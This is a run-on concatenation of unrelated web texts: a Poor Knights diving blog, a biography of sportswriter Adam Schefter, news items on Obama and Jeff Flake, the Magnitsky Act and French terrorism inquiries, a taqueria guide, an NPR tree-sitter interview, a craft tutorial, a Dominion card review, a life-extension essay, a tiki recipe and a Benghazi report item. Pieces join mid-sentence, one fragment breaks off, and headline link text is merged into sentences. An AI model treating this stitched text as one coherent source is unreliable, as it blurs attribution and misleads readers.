Following lunch, we anchored at the second dive site, Trevor’s Rocks. These are a couple of pinnacles that reach the surface, and they’re named after a guy called Trevor who crunched his boat into one of them (seriously!). Heading down again, the terrain was much the same as the first dive with heaps of kelp on the sea bed. The vertical walls of the pinnacles were cool though, with lots of encrusting life (corals, anemones, and so on) calling the walls home. It was colourful and beautiful, and you could suspend yourself there all day just staring at the wall! We saw a couple of huge snapper and a school of small kingfish swam right through the group.
Ascending after the second dive, we were excited by the underwater environment we had been a part of for a few hours. It is truly something else to be swimming and breathing in this place that is so inaccessible without an air tank! On the way back to Tutukaka, Jack took us for a tour around the islands, driving through the Southern Arch (the largest sea arch in the Southern Hemisphere). Back at Tutukaka, we had a beer and thanked the crew for an awesome day out on the water.
A day out with Dive! Tutukaka, including two dives and all SCUBA gear hire costs $269, and you’ll need to be a certified diver. Lunch is an additional $15.
Camera malfunctions
Later that night, we excitedly checked our GoPro footage from the two dives. We were absolutely gutted to see that the vast majority of the footage was ruined. We had purchased a red filter that clips onto the front of the lens to make the colour in the photos and video seem more natural, but obviously the filter was far too red and too dark – it looked like we were swimming through blood! It had gone far beyond what any post-processing could do to bring it back, so we had to bin the lot. It was devastating as we knew that some of the footage was awesome. Unfortunately, the GoPro Hero 3+ that we own doesn’t have a live view screen, so you can’t see what you’re filming until later when you download the footage onto a computer. The new GoPro Hero 4 has a screen, so this whole issue can be avoided! Hopefully someday we can upgrade.
We thanked our lucky stars that Mike had taken his own video footage from the dives, without the nasty filter. So a huge thank you to Mike for letting us use his video footage for our Youtube video below, as well as stills from the video for photos throughout this post.
So, lesson learned. We hadn’t had the chance to try out the filter (we hadn’t been that far underwater with it!), and in hindsight we should have taken the filter off for some of the footage, just in case. We would love to try diving with a filter again sometime, but we’ll definitely be more cautious and do our research with the type of filter that we need to buy.
If you want to see some awesome photos from the Poor Knights, check out this post from Stoked For Saturday. They had a filter on their GoPro and didn’t muck it up like we did!
Thanks to Dive! Tutukaka for supporting our day diving at the Poor Knights Islands. As always, you’ll receive our honest opinion regardless of who foots the bill.
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If you liked this post, sign up to receive future posts by email (using the form to the right), or follow us on Facebook, Instagram, Twitter or Pinterest!Adam Schefter, (born December 21, 1966) is an American sports writer and television analyst. After graduating from University of Michigan and Northwestern University with degrees in journalism, Schefter wrote for several newspapers, including The Denver Post, before working at NFL Network. He then became an NFL insider for ESPN in 2009.
Education and career [ edit ]
Schefter was born in Valley Stream, New York, and grew up in Bellmore, New York, where he attended John F. Kennedy High School. He graduated in June 1985.[1] He is a 1989 graduate of the University of Michigan and a graduate of Northwestern University's Medill School of Journalism. Schefter was an editor at The Michigan Daily, where he began his newspaper career. While at Northwestern, Schefter worked as a freelance reporter for the Chicago Tribune. After graduating from Northwestern in June 1990, Schefter was an intern for the Seattle Post-Intelligencer before moving to Denver in 1990, when he started writing for the Rocky Mountain News in September 1990 and then The Denver Post in July 1996.[2]
Journalism career [ edit ]
Schefter joined the NFL Network in 2004 and appeared on NFL Total Access and also wrote for NFL.com. Before joining the NFL Network, Schefter appeared five times on ESPN's Around the Horn as a substitute for Woody Paige. Paige was based in Denver at the time. Before Around the Horn, Schefter appeared on ESPN's The Sports Reporters. Schefter appeared on NBC twice in the summer of 2008, working as the sideline reporter for Al Michaels and John Madden during the Redskins–Colts Pro Football Hall of Fame Game and then the Redskins–Jaguars preseason finale.
According to a USA Today survey of fans published January 19, 2009, "NFL Network's Adam Schefter edged ESPN's Chris Mortensen (34%–32%) for best (NFL) insider despite the NFL Network being in less than half as many U.S. households." Schefter was again selected as the best (NFL) insider in a November 2010 USA Today fan poll.[3] Schefter was voted USA Today's best "insider" for a third straight year in November 2011.
In 2009, Schefter became a football analyst with ESPN.[4] He began appearing on-air on August 17, 2009. In October 2010, Sports Illustrated writers included Schefter in its "Top 40," a listing of the NFL's top officials, executives, coaches, players and media members.[5]
In 2014, Schefter was the recipient of multiple awards, including being named the "Most Influential Tweeter in New York" by New York magazine in February,[6] "Best Newsbreaker" by the sports media website Awful Announcing in its second annual People's Sports TV Award Winners in May, and SI.com's “Media Person of the Year.”[7]
In November 2015, Schefter was named The Cynopsis Sports Media Personality of the Year, which is presented annually to an individual whose work in the sports industry has transcended how sports connect with fans. In the same year, he was named honorable mention for Sports Illustrated Now's 2015 Media Person of the Year,[8] and 2015 Sports Media Personality of the Year by the Tampa Bay Times.[9]
Schefter joined the NBA on ESPN team for multiple games as a sideline reporter in 2017. His first assignment was February 15 between the New York Knicks and the Oklahoma City Thunder. ESPN presented Schefter with the opportunity to work select NBA games as part of his new contract.
In February 2017, ESPN Audio launched Schefter's "Know Them From Adam"[10] podcast, featuring long-form conversations with newsmakers who have a connection to football.
Controversy [ edit ]
On July 9, 2015, Schefter tweeted a medical chart photo indicating that Jason Pierre-Paul had his right index finger amputated. On February 5, 2016, it was reported that two individuals were fired from Jackson Memorial Hospital after a lengthy investigation for violating HIPAA laws.[11] Pierre-Paul sued Schefter and ESPN for breach of privacy in September 2016.[12] In February 2017, Pierre-Paul and ESPN settled the lawsuit.[13]
On February 22, 2019, he claimed that there was a "bigger name" than Robert Kraft named in a sex sting, but refused to give the name.
Personal life [ edit ]
Schefter is Jewish[14]. In 2007, Schefter married Sharri Maio, after meeting on a blind date the year before. Maio is a 9/11 widow whose husband, Joseph Maio, was killed in the World Trade Center attacks.
Movie appearances [ edit ]
Schefter had a cameo appearance in the 2005 movie The Longest Yard.
Radio career [ edit ]
Schefter is a regular guest on numerous radio programs, including 104.3 KKFN in Denver, Colorado,[15] ESPN 980 in Washington D.C., ESPN 1000 in Chicago, Illinois, and 97.5 The Fanatic in Philadelphia, Pennsylvania.
Publications [ edit ]
The Man I Never Met: A Memoir, ISBN 1250161894, (forthcoming) September 2018
, ISBN 1250161894, (forthcoming) September 2018 Romo: My Life on the Edge: Living Dreams and Slaying Dragons, ISBN 0-06-075863-5, with Bill Romanowski, 2005
, ISBN 0-06-075863-5, with Bill Romanowski, 2005 "Real Sports Reporting" Edited by Abraham Aamidor, 2003 (Chapter on football)
Think Like A Champion: Building Success One Victory at a Time, ISBN 0-06-662039-2, with Mike Shanahan, September 1999
, ISBN 0-06-662039-2, with Mike Shanahan, September 1999 TD: Dreams in Motion: The Memoirs of the Denver Broncos' Terrell Davis, ISBN 0-06-019282-8, with Terrell Davis, September 1998
, ISBN 0-06-019282-8, with Terrell Davis, September 1998 The Class of Football: Words of Hard-Earned Wisdom from Legends of the GridironFormer President Barack Obama Barack Hussein ObamaChicago's next mayor will be a black woman Obama portraits brought more than 1 million visitors to National Portrait Gallery in first year With low birth rate, America needs future migrants MORE reached out across the aisle to Sen. Jeff Flake Jeffrey (Jeff) Lane FlakeBrexit and exit: A transatlantic comparison Poll: 33% of Kentucky voters approve of McConnell Trump suggests Heller lost reelection bid because he was 'hostile' during 2016 presidential campaign MORE (R-Ariz.) after the shooting at the GOP congressional baseball practice, the senator said Wednesday.
Flake said Obama sent his "best wishes and prayers" for the victims, according to Politico. Flake was one of the GOP members practicing in Alexandria, Va., Wednesday morning when a gunman opened fire, injuring five, including House Majority Whip Steve Scalise (R-La.).
"He went through this a couple of times," Flake told reporters.
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Obama reportedly travelled to Arizona with Flake in 2011 after the shooting that left then-Rep. Gabrielle Giffords (D-Ariz.) severely wounded and killed six others.
"This is particularly raw for those of us in Arizona," Flake said, adding that Obama asked him to tell Scalise that he was thinking of the congressman.Washington: Donald Trump junior's unusual campaign-season meeting with a Russian lawyer supposedly covered an obscure sanctions law that has infuriated the Kremlin.
The Magnitsky Act, passed by Congress in 2012, was a US response to the dubious death of a different Russian lawyer named Sergei Magnitsky. He died in prison after exposing a tax fraud scheme. The law has allowed the US to impose sanctions on Russians deemed as human rights violators.
The law also led Moscow to respond by banning Americans from adopting Russian children, devastating some would-be US parents.
After changing his initial story, President Donald Trump's eldest son now says he met attorney Natalia Veselnitskaya last year to hear damaging information she said she had on Hillary Clinton. Trump junior said it quickly became clear Veselnitskaya had nothing valuable to offer on Clinton and the discussion turned to the Magnitsky Act and adoption ban.
"The claims of potentially helpful information were a pretext for the meeting," Trump junior said in a statement.
A look at the sanctions law Trump junior and Veselnitskaya supposedly discussed:
What prompted the law?
Sergei Magnitsky was a Russian lawyer hired by Hermitage Capital, a London-based hedge fund. Magnitsky accused Russian officials of a $230 million tax fraud scheme involving tax rebates. He was charged by Russian officials with tax evasion and put in prison, where he died at 37.
An official Russian probe blamed a heart attack. But Russia's presidential council on human rights concluded he'd been beaten and denied medical treatment. A prison doctor, the only official charged in the case, was acquitted.
Magnitsky's death drew widespread criticism from rights activists, triggering efforts to punish Russian officials associated with abuses of human rights.
What does the law do?
The law initially allowed US sanctions on Russian officials believed to be complicit in the Magnitsky case. It expanded in 2016 to include human rights abusers anywhere. Several dozen people are now subject to US sanctions under the law.
Americans are prohibited from doing any business with these individuals. Any assets they may have in the United States are frozen.
How did Moscow respond?
In December 2012, shortly after President Barack Obama signed the Magnitsky Act, Russian president Vladimir Putin signed a law banning American citizens from adopting Russian children.
Russia justified its adoption ban by pointing to cases of mistreatment of Russian children in the US, including the death of a seven-year-old who authorities said was beaten and starved to death, and another whose adoptive family put their unruly child on a flight back to Moscow, raising accusations of abandonment.
Yet it was widely viewed as retaliation for the Magnitsky law. The ban abruptly halted plans for 50 children to join new families in the US and led to worsening US-Russian relations.
What's the connection to meeting?
Veselnitskaya, the lawyer who Trump junior. met with, opposes the Magnistky sanctions. She has represented Denis Katsyv, the son of a top executive in state-owned Russian Railways. He was charged in the US with money laundering after investigators suspected his company bought ritzy New York real estate using proceeds from the $230 million tax fraud scheme that Magnitsky exposed.
Trump junior said that after initially discussing Clinton, Veselnitskaya "changed subjects" to the adoption ban and the Magnitsky Act. He said he interrupted her to say that since his father wasn't yet an elected official, the conversation should wait until "if and when he held public office."
Firstpost is now on WhatsApp. For the latest analysis, commentary and news updates, sign up for our WhatsApp services. Just go to Firstpost.com/Whatsapp and hit the Subscribe button.French judicial authorities have appealed to their Greek counterparts for information relating to migrants who have traveled to western Europe via Greece over the past year in a bid to trace suspected members of the Islamic State group, Kathimerini understands.
A well-informed source told Kathimerini that French authorities submitted the request via Eurojust, the European Union’s judicial cooperation unit, with the aim of comparing data they have from individuals who participated in last November’s terrorist attacks in Paris with data held by Greek authorities.
Specifically, French authorities want access to the Greek Police’s electronic database and Eurodac, Europe’s shared fingerprint database, to determine whether the hundreds of thousands of names of migrants and refugees include those of any people with suspected links to ISIS, particularly with members of the cell that carried out the attacks in Paris last November.
According to sources, French officials are particularly interested in migrants who entered Europe via Greece in the period between last summer and last November when the attacks were carried out.
French authorities have not submitted a similar request to Belgian authorities, Kathimerini understands, despite the fact that the perpetrators behind another set of terrorist attacks on the airport and metro in Brussels last March appear to belong to the same cell of ISIS jihadists who carried out the Paris attacks.
Some of the Paris attackers were found to have passed through Greece’s Leros and Patra.Former UC David police Lt. John Pike — who famously |
’s problematic that his peers aren’t allowed to vote, and that he might consider running for student council instead, Bergeson told Kimmel: “No, I don’t think that makes as big of an impact.”Philadelphia is home to dozens of awesome Mexican restaurants all over the city, ranging from classic, hole-in-the-wall cantinas to three- and four-star modern Mexican restaurants.
But there’s one section of the city that specializes in a deliciously critical piece of Philly’s dining scene: the informal, casual, authentic taquerias of South Philadelphia.
Converging around 9th Street and the Italian Market, there seems to be a taco shop on each and every block — the area’s thriving Mexican population is a big reason why. These taquerias are serving tasty and authentic tacos that are inexpensive, yet come fully loaded with some combination of chopped onions, cilantro, roasted veggies and a wide variety of meaty fillings.
You can opt for the classics like chicken, carnitas, al pastor and steak or head in a more adventurous (and potentially more delicious) direction with tacos filled with tripa (tripe), cabeza (cheek), lengua (tongue) and more.
Regardless of what type of taco you’re craving, the next time you have an appetite for tacos (of any kind) remember to head to one of these great, unassuming (read: small) taquerias in South Philly. You’ll be happy you did.
Also important to note: many of these shops are BYOB so they’re the perfect place to head with a six pack or a bottle of wine the next time you’re seeking out epic tacos and a totally casual night out.
Our picks for South Philly taquerias, below.Wild Is Free: Tree Sitter Protests New Orleans Golf Course Construction
NPR's Melissa Block speaks to Lloyd Boover, the New Orleans protester who has been sitting in a tree since Friday to protest the construction of a golf course in City Park.
MELISSA BLOCK, HOST:
Protester Lloyd Boover has been occupying a cypress tree in New Orleans for seven days now. He's perched about two stories up, with a big banner proclaiming Wild Is Free. Boover is protesting a $24 million golf complex being built in New Orleans' City Park. It's a part of the park that was a golf course before it flooded in Hurricane Katrina. For the past 10 years, the area has grown wild, visited by birders, picnickers and dog walkers. But to others, it's a neglected eyesore, and construction is underway for a PGA-caliber golf course to be finished in two years. The protester, Lloyd Boover, has a cell phone with him up in that cypress tree and we've given him a call.
Lloyd, why don't you describe your perch for us up there?
LLOYD BOOVER: Oh, it's beautiful. I'm in a hammock and swinging, watching birds. There's cranes and robins and blue jays, beautiful oak trees all around me. And it's hard to describe - I'm seeing oak trees being destroyed and it's such a beautiful day.
BLOCK: Well, how did you decide to go ahead and take your opposition to the golf course two stories up in that tree and camp out up there?
BOOVER: It felt safer than being on the ground. I felt that if we were intense, they would try to arrest us. And this way, you know, it's allowed us maybe to have some time for the public to hear why we're up here.
BLOCK: Well, City Park is a big place, right? And this was a golf course before Katrina. Supporters say, look, the money that's brought in from the golf fees will help with the upkeep of the rest of the park.
BOOVER: It doesn't take much money to maintain wilderness, you know? It's free. So, I don't understand that argument and I think having green space is more vital and important to community than a golf course. I love to hike, I love to come out and lay out in the sun, and there really isn't a space for that anymore here.
BLOCK: How are you managing to sleep up there and are you at all worried about falling?
BOOVER: Oh, yeah of course I am. But I've camped before in trees and hammocks before so I'm a little bit used to it. But it is a little bit scary when you have to kind of catch yourself because you know you're about to fall when you're half-asleep.
BLOCK: How much food and water do you have up there with you?
BOOVER: Theoretically I have enough to last me the weekend, but I probably will have to come down by Monday.
BLOCK: What's the best thing you've seen since you've been up that Cyprus tree?
BOOVER: The birds. There's a group of cranes nesting on me.
BLOCK: Nesting on you?
BOOVER: Well, on top of the tree with me. They're beautiful. There's about a dozen of them.
BLOCK: Well, when you come down - because you are going to have to come down - look, the golf course is underway, right? They're building that and it doesn't look like that's going to be stopped. Will you feel like it was worth it to have been up there for a week or more?
BOOVER: Oh yes, definitely. You know, this is nature. This is my element. I love it here. I mean, like, I think it's definitely worthwhile and probably even worth a second shot.
BLOCK: I don't know that they're going to let you anywhere near that tree.
BOOVER: Oh, I don't expect this tree to even be here when I leave, but there's always another tree.
BLOCK: Well, Lloyd Boover, thanks so much for taking time to talk to us. I guess you have some time on your hands up there, but thanks for spending some of it with us.
BOOVER: Thank you for listening to me, I appreciate it.
BLOCK: That's Lloyd Boover, who is high up in a tree in New Orleans. There is a warrant for his arrest for trespassing. City Park sent us a statement that says, in part, presently the concern of City Park officials is for Mr. Boover's safety.
Copyright © 2015 NPR. All rights reserved. Visit our website terms of use and permissions pages at www.npr.org for further information.
NPR transcripts are created on a rush deadline by Verb8tm, Inc., an NPR contractor, and produced using a proprietary transcription process developed with NPR. This text may not be in its final form and may be updated or revised in the future. Accuracy and availability may vary. The authoritative record of NPR’s programming is the audio record.By
{TUTORIAL}
magentic me
using
using free printable photobooth props i created this quiet magnetic doll game using a photo of my daughter – it’s her MAGNETIC ME!
…………………………………
i am SOOO excited about this tutorial.
i have been planning and thinking about this for a LONG time!
aubrey is obsessed with magnetic dolls and dressing them up.
she is also obsessed with playing dress up herself.
this is a combination of the two.
its EASY, CHEAP, and AWESOME!
……………..
here is how you make it.
the details:
a tin box – this is a tin pencil case i got in the back to school section
{see i told you i have been planning this one a while…}
printable magnetic sheets – i got these at walmart – $5 for 3 sheets
{i actually used 2 sets… but i made some mistakes or i would not have used them all}
krylon matte protective finish {you can use whatever finish you want – not just matte}
you can use something different but it cannot be water based
{aka – NO modpoge, elmers, ect.}
these go right into your inkjet printer.
they make different ones for laser printers so be sure to check what you have.
i took a picture of aubrey in a white shirt against a white background
and printed it right on to the magnetic sheet.
i cut it to fit on the inside of the tin box
then…using word i designed a magnetic cover
and trimed it to fit the top of the tin box
{i was not so into the whole hello kitty front…although aubrey was lol}
now on to the fun part…
using
ALL FREE printable PHOTOBOOTH PROPS
{see our ROUND UP of free ones HERE
{or use some of OUR free ones HERE
i downloaded the printables from the sites and
printed them 6 to a page on the magnetic sheets
since you printed these on an inkjet printer
any water will ruin and run the prints.
sealing them with a NONwater based sealer will
protect them & keep them from turning yellow
this is an important step if you want these to last.
TIP: cut the pages into 6 squares so that each image is seprate
this will help the paper from separating from the magnet and bubbling.
{this was something i learned the hard way!}
once they dry,
cut out the images and there you go!
i can totally see these as party favors!
aubs is in heaven. this kept her busy for hours.
its packed in the church bag now too –
its an awesome quiet activity!Ive got a preview card to discuss today, and Im not one who likes drawn-out introductions, so lets get right to it:First, a couple of notes for clarity: You don't have to play treasures if you don't want to, but you DO have to spend all the $ you've collected over the course of the turn, including the money from the treasures you're playing, the $ from this card, as well as any you've made from previous actions.Full disclosure: I haven't tested or played with this card at all, so this is an article of conjecture and of theory-crafting not one built from experience.The first thing I noticed when I saw this card was that it was another way, besides Black Market, of getting treasures in play during the action phase. Now, some of the Black Market Combos - mostly draw-to-X variants, and Tactician, - aren't "on" here. But some of them Quarry+gainer, using Horn Of Plenty mid-turn - still do work.Anyway, these are only fringe benefits - the pet tricks I love and relish, but not, I am guessing, the bulk of what the card's work is. That, namely, is to turn cash into cards. Coppers turn into cantrips, Silvers turn into labs, and Golds turn into double labs. This is, in general, an improvement in every case. And all of this is on a card which is a cantrip by itself. The drawback, of course, is that if you are using this to draw your deck, you are sapping some of the money out of that deck. Still, this really gets your draw going quickly, which is especially potent in the early stages of the game.Most cards are fairly simple to play once they're in your deck - you just play all your villages and non-terminals first, draw cards before non-draw, and go. But I expect this card will be very tricky to play during the mid- and late-game. You need to know exactly how much money to funnel into it to get the draw you need (need to know how much draw you need for that as well) while still making sure you have enough money left to buy what you need come end of turn. I also want to point out potential anti-synergies with Peddler variants (and Conspirator variants): it may look like this is non-terminal draw/sifting (and it is), and that cantrip-money-based decks seem to love that kind of card. Normally they do, but if you draw this card late in your turn, you might be forced into not playing it at all, because it would sap you of too much money. You can mitigate that some by simply feeding fewer/worse treasures into this, but it's not as much of a pure success as it might at first glance seem.Ultimately this IS a sifter, with a little bit of non-terminal draw thrown in. Discarding coppers with this is like cellar plus a card; more expensive treasures get you a little more.What kinds of decks want this? Well, engines would prefer other sifters once they are running, since this one costs economy, but Storyteller does help a lot in getting them running, and this is generally a higher-priority issue. It's worth noting that strong trashing will probably more or less obsolete the need for Storytelling.Terminal draw Big Money will obviously not like this. The same is true of slogs, since unlike other sifters, this can't get rid of non-treasures. Decks which are somewhere between money decks and engines - decks where treasure is good but you'd really like to play a key action or a couple of key actions very often - seem like ideal homes for this card. Those decks exist now, but they rarely get a chance to shine, being squeezed by often-more-powerful engines and often-faster Big Money strategies. Perhaps Storyteller will allow them to shine more often. In general, you want your payload to be something which is happening at the end of your turn, and not interspersed in the middle. Treasure has this quality, but its not the only thing. Many mega-turn strategies like Bridge and Horn Of Plenty dont care about traditional money. Theyll work particularly nicely with Storyteller.As for strength, I am going to guess that this card will end up being powerful, but $5 is a price-point with a high bar. Ultimately, we're dealing with a situational card here, so on the right board, in the right spot, it will be something you want to jump on hard, but other times it will not have the impact required for its cost. In other words, the exact thing which is my favorite kind of card.When Google launched their Calico project aimed at working toward the end of aging and the radical extension of the human lifespan, I figured that – quite apart from any scientific progress this might lead to – it would serve to project life extension into the public eye, and start some interesting discussions.
And this does seem to be happening, at least to some extent. A couple days ago the New York Times ran an article by 83 year old author Daniel Callahan, entitled “On Dying After Your Time.” The theme of the article is that extending human life is a bad idea, for a variety of reasons. The author thinks life extension advances will probably result mainly in the lengthening of the unpleasant, sickness-plagued, mentally-feeble period at the end of most modern human lives. He also foresees that an increase in the population of incapable old people will drag the economy down.
One ironic aspect of Callahan’s article is that, as he notes,
At 83, I’m a good example. I’m on oxygen at night for emphysema, and three years ago I needed a seven-hour emergency heart operation to save my life.
He then notes that
our duty may be … to let death have its day.
One doesn’t have to be that much of a cynic to detect a tad bit of hypocrisy here – especially given that the vast majority of the world’s population cannot afford heart operations or oxygen treatment of this type. Does he think society should have prevented him from keeping himself alive to write news articles and otherwise enjoy his 80s? Callahan seems in no hurry to let his own death have its day, and I can’t blame him. But he does seem eager to prevent the rest of us, who aren’t yet 83, from trying to extend our lives as far as possible.
Overall, given the depth of what has been written previously by others about life extension (both pro and con), this one is a rather shallow article. Callahan implicitly assumes that human life extension would entail mainly extending the ailing, unhealthy portion of human life. But this is exactly why many life extension advocates speak about “healthspan extension” rather than lifespan extension — to emphasize that what is intended is extension of healthy, mentally and physically fit lifespan. Aubrey de Grey has clarified this point in his talks hundreds of times by now (and in the early chapters of Ending Aging), but, well, whatever….
Via some consulting work I did for Genescient Corp., I have personally participated in research using AI and genomics to design herbal remedies that give middle-aged fruit flies much longer lives (the goal being not to make super-flies, but to learn about non-organism-specific aspects of aging; and also as a test case for extending lifespan, the intention being to work up to human life extension). Genescient’s longer lived fruit flies are not only longer lived but healthier, smarter and have more sex than their normal-lifespan comrades. Longer life doesn’t have to mean longer dotage — it can mean a longer and consistently BETTER life.
The comments from New York Times readers, at the bottom of Callahan’s article, are actually more interesting than the article itself. They give a reasonable cross-section of opinions from everyday people regarding life extension research and the prospect of avoiding death. Of course, the commenters on this article are not a representative sample of any crisply definable population – but they still provide an interesting sampling.
My own comment on the article started with some text I’ve incorporated above, and closed with:
If you feel that death is what gives your life meaning, feel free to die. As for me, I would much prefer to live on indefinitely. I’m curious what the world and universe will be like in 100, 1000, 100000 years. I have a lot to learn and a lot to give, more than can fit in an ordinary human lifespan.
Death is natural, but so are bacterial infections, yet we happily kill the latter with antibiotics. In 100 years when the plague of involuntary death has been abolished, folks will look back amazed that their predecessors considered aging an ordinary and acceptable thing.
A commenter with the handle Avid Rita slammed my reference to antibiotics with a note that
We happily kill with antibiotics, but we can’t fool mother nature — we’re inadvertently killing bacteria that enhance our health in the overuse of antibiotics. Not to mention the increasingly resistant bacterial strains.
— but is this really to-the-point? Does she advocate giving up antibiotics and going back to the days when a simple strep throat infection was fairly likely to kill you? The peerless composer Scriabin died at age 43 from an infected sore on his upper lip – almost surely antibiotics would have saved him. Whether or not we can fool Mother Nature, we can certainly bypass some of the hard medicine she dealt to our ancestors – which is why the average lifespan is much longer now than it was before civilization. Does she also advocate rolling back flush toilets, running water for hand-washing and other modern sanitary advances, because they’re unnatural and have some risk of killing life-enhancing bacteria?
Against the notion that technology will inevitably fail to prolong healthy life, succeeding only in prolonging dotage, Dick Depre refers to the New York Times’ history of technology pessimism:
On Oct. 9, 1903, the New York Times wrote, “the flying machine which will really fly might be evolved by the combined and continuous efforts of mathematicians and mechanicians in from one million to ten million years.”
But it wasn’t ten million years later. In fact, on that very SAME DAY, on Kill Devil Hill, N.C., a bicycle mechanic named Orville Wright wrote in his diary, “We unpacked rest of goods for new machine.”
Some commenters expressed an exhaustion with life and a lack of enthusiasm for living indefinitely. Robert Guenveur wrote:
I’m tired of living, but afraid to die. And I’m only 70. Life is no longer fun. Or living.
This is a heartfelt and moving sentiment, yet I have known many teenagers to feel the same way. This sort of feeling has less to do with age, and more to do with one’s own neurochemistry and the life one lives, I suspect.
Avid Rita, on the other hand, enjoys life, but wants to die anyway:
Having been caretaker for both elderly parents in their demise, and assistant to several other aged dear ones influences my own approach to aging. At age 61, I seek to experience the totality of life, including aging and eventually dying, without trying to escape authentic life with desperately trying to deny time and backtrack to youth.
Personally, I don’t want to backtrack to youth – rather, I want to go on further and further. By age 70 I will have accumulated a massive amount of knowledge and ability, way beyond what I have now at 47. I don’t want to go back to being a relatively ignorant 20 year old – rather, I want to move on to being an even more knowledgeable and capable 120 year old.. and 200 year old … and 120000 year old … etc.
Some commenters raised economic concerns, e.g. bikerman noted that
With pensions becoming a thing of the past, better paying jobs going overseas, rampant age discrimination, and conservatives cheering the death of retirement age benefits, the prospect of longer lives would be cruel joke for many as we enter are elder years.
However, others noted the shortsighted nature of this sort of concern. Microsrfr pointed out that
What the author is missing is that with longer quality life span, we will work longer and therefor contribute to social security and buy substantial amounts of goods and services longer. In fact, at some point, we could go back to college for a second career. I would love to have time for a second career in biological engineering.
And Josh Hill noted
One thing that often gets left out of these “too expensive to live” discussions (unless of course you inherited money from Daddy and don’t need Medicare) is that real per capita GDP has far outstripped the cost of caring for an increasing number of elderly people.
When I hear that Medicare will take up 5.x% of our GDP, I shake my head. Our GDP per capita is on the order of $50,000 a year! The problem isn’t that we as a society can’t afford to take care of our grandparents, but that virtually all of the economic growth since Ronald Reagan has gone to the rich. Return to the distribution of wealth that the country had during its prosperous progressive years, and the problem vanishes, along with so many others.
Indeed. Society is becoming wealthier and wealthier, as technology advances. The distribution of wealth on the planet is becoming more uneven, which is a problem, but not a good reason to avoid curing aging. Rather, the prospect of curing aging should give us even more impetus to push for a more broadly beneficial distribution of resources. The struggle for a better socioeconomic order isn’t going to go away anytime soon; but imperfect as it is, the economy DOES ongoingly adapt to the rest of human reality, and I strongly suspect that it will adapt successfully to life extension as it occurs, alongside the other radical technology innovations we have coming this century.
I will give the last word to commenter John Teets, whose post strikes me as a beautiful, somewhat stream-of-consciousness poem to the wonders that radical life extension will offer:
Have you ever wanted to write a train of sonnets, all different, yet related, all exquisitely appreciative of what’s gone before, yet at the same time innovative?
If not, maybe a longer life isn’t for you.
Would you perhaps also want to learn how to paint so well that you can express what gives your life meaning?
If not, by all means, buy yourself a postage stamp of land. Select an urn that fits your soul like an old shoe.
Have an urge to lay down some tracks?
No? Maybe a few last nights listening to Requiem (written and performed by other people, of course) chased down with cough syrup sounds like a “appropriate, natural” end.
Might you want to know how the theory of everything looks once the loose ends are tied up? You know, the theory with surprise after surprise after surprise…
Too technical to be beautiful or invigorating? By all means, glaze over then close your lids.
Never get around to those trips to the Great Wall and the Pyramids? Miss the balloon ride over the great migration with your loved ones?
Maybe you should punch your ticket.
There’s too much to fit in a life. Don’t assume that people so desperate to experience them they’d extend life are merely planning for additional years on life support.
That’s the same lack of imagination that prompts “No” to so many questions like these. A death wish. Making lemonade from lemons.
How people critique great endeavors tells you more about them than about the projects.
P.S.
John Clark posted the following on the Singularity list, in response to Callahan’s article and this one. Seems apropos.
I think the primary motivation for pushing the “death is good” meme is sour grapes, most people believe a way to substantially extend their lives will never be found soon enough to help them personally, so they desperately try to convince themselves that they don’t even want it. If there were a actual treatment readily available that would make Mr. Callahan live a longer healthier life I think the amount of time that passed before Mr. Callahan requested it could be measured in milliseconds.Happy Monday to y’all! I feel like I’m about to give birth to a cocktail baby cause I’ve been working on this set of drinks for so long! Pumped for two reasons today:
We’re over 1/2 way through Tiki The Snow Away and guess what y’all? We just had our first snow in Brooklyn. PHEWWWWWW, I was getting nervous that there would be no snow to Tiki Away! Surf Girl. I’ve been working on this set of cocktails for a long time now and am finally ready to share them with y’all. Grab your boards, the above ingredients and a Surf Girl Tiki mug!
If you want to share a tropical drink during the month of January, use the hashtag #TikiTheSnowAway on Instagram and Twitter, or tag u/homebargirl on reddit.
As you can probably tell, Surf Girl the drink is inspired entirely by Surf Girl the Tiki mug. I found these two vintage beauties awhile ago and knew I had to make a concept drink with them.
Look how serene and majestic these Surf Girls look riding those unending waves. Look at their fish friends!
To me there were a couple of goals for this concept drink:
Make a drink worthy of and consistent with the mug: this meant that the drink had to be blue and foamy so the top of the drink would look like a cresting wave. Make it tropical and delicious: It’s no secret that Denizen Aged White Rum is my favorite white Rum. I have used it consistently for a while now and truly love all of the banana, tropical fruits, and hints of funk that it offers. With Denizen White in place, I wanted to build a set of ingredients that compliment the base spirit. Therefore, my base trio for all Surf Girl drinks is Denizen Aged White Rum, Senior Blue Curaçao (only the good stuff!), and Coco Lopez.
If you note the texture of the drink, it’s blended and this is crucial to achieving the overall effect of a Surf Girl on the wavvves. I’m also keeping all of the garnishes the same for each Surf Girl variation to achieve a cohesive line of Tiki drinks.
Here are your cast of characters: to the Surf Girl trio we add Smith & Cross Navy Strength Jamaica Rum, Pineapple Juice, and Lime Juice.
I mean damn, right? Doesn’t this mug deserve a line of concept drinks?
Surf Girl
1 1/2 oz Denizen White Rum
1/2 oz Blue Curaçao
1/2 oz Smith & Cross Navy Strength Jamaican Rum
3/4 oz Pineapple Juice*
1/2 oz Lime Juice
1/2 oz Coconut Cream
~8 oz Crushed Ice*
Garnish: Tiki umbrella, Maraschino Cherry, Pineapple chunk
Combine ingredients and blend for around 7 seconds. Pour in a 10 oz Surf Girl Tiki Mug and garnish.
*I think I have stated this before (or it’s generally understood in the Tiki world) but it’s critical that you use unsweetened, nothing added, just straight-up Pineapple juice. I like Lakewood Pineapple cause it’s literally juiced Pineapple.
**Amount is approximate cause I don’t have crushed ice. I crack all my ice from cubes and the shards might be a bit larger than yours if you’re using a crushed ice machine.
Maybe it’s the Cali beach girl within but I am FEEEEEELING this.
Cheers to you and all your party people during Tiki The Snow Away!
AdvertisementsThe House Select Committee on Benghazi recently filed its final report into the Congressional Record last week, ending the investigation into the Sept. 11, 2012, terrorist attack that became intertwined with Hillary Clinton’s legacy at the State Department.
The report concluded that the Obama administration misled the public about the events surrounding the deadly assault on a U.S. compound in Libya and did little to cooperate with the panel, with committee member Rep. Mike Pompeo, President-elect Donald Trump’s choice to be the next CIA director, saying the group answered many questions but could not do so “completely.”
Rep. Trey Gowdy, South Carolina Republican and the panel chairman, said the report is the “final, definitive accounting” of what happened in Benghazi.
“The committee is proud to have been able to tell the story of the ingenuity and bravery displayed by our nation’s heroes in Benghazi, who banded together to save one another, when no other help was ever on the way,” he said. “On behalf of the committee, we thank all the witnesses who appeared and helped us in providing the definitive account.”
In putting together the approximately 800-page report, the committee interviewed more than 100 witnesses, including more than 80 who hadn’t faced questions from Congress before.
